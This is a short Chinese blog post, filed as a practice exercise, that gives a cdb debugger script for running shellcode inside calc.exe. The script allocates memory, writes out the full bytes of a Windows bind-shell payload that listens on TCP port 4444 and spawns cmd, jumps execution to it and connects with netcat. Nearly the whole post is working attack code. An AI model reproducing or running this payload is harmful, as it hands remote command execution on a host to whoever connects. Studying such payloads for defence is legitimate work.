注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

用调试脚本运行shellcode  

2014-05-27 12:46:15|  分类: 一些练习 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

* cdb -cf "e:\dbg\bindshelltcp.x" calc
* bindshell 4444
* nc xpsp3 4444
g @$exentry
.dvalloc /b 0c0c0000 4000
eb 0c0c0000 FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B
eb 0c0c0010 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0
eb 0c0c0020 AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F0 52 57
eb 0c0c0030 8B 52 10 8B 42 3C 01 D0 8B 40 78 85 C0 74 4A 01
eb 0c0c0040 D0 50 8B 48 18 8B 58 20 01 D3 E3 3C 49 8B 34 8B
eb 0c0c0050 01 D6 31 FF 31 C0 AC C1 CF 0D 01 C7 38 E0 75 F4
eb 0c0c0060 03 7D F8 3B 7D 24 75 E2 58 8B 58 24 01 D3 66 8B
eb 0c0c0070 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24
eb 0c0c0080 5B 5B 61 59 5A 51 FF E0 58 5F 5A 8B 12 EB 86 5D
eb 0c0c0090 68 33 32 00 00 68 77 73 32 5F 54 68 4C 77 26 07
eb 0c0c00a0 FF D5 B8 90 01 00 00 29 C4 54 50 68 29 80 6B 00
eb 0c0c00b0 FF D5 50 50 50 50 40 50 40 50 68 EA 0F DF E0 FF
eb 0c0c00c0 D5 89 C7 31 DB 53 68 02 00 11 5C 89 E6 6A 10 56
eb 0c0c00d0 57 68 C2 DB 37 67 FF D5 53 57 68 B7 E9 38 FF FF
eb 0c0c00e0 D5 53 53 57 68 74 EC 3B E1 FF D5 57 89 C7 68 75
eb 0c0c00f0 6E 4D 61 FF D5 68 63 6D 64 00 89 E3 57 57 57 31
eb 0c0c0100 F6 6A 12 59 56 E2 FD 66 C7 44 24 3C 01 01 8D 44
eb 0c0c0110 24 10 C6 00 44 54 50 56 56 56 46 56 4E 56 56 53
eb 0c0c0120 56 68 79 CC 3F 86 FF D5 89 E0 4E 56 46 FF 30 68
eb 0c0c0130 08 87 1D 60 FF D5 BB E0 1D 2A 0A 68 A6 95 BD 9D
eb 0c0c0140 FF D5 3C 06 7C 0A 80 FB E0 75 05 BB 47 13 72 6F
eb 0c0c0150 6A 00 53 FF D5                                
r @eip=0c0c0000
qd

  评论这张
 
阅读(91)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017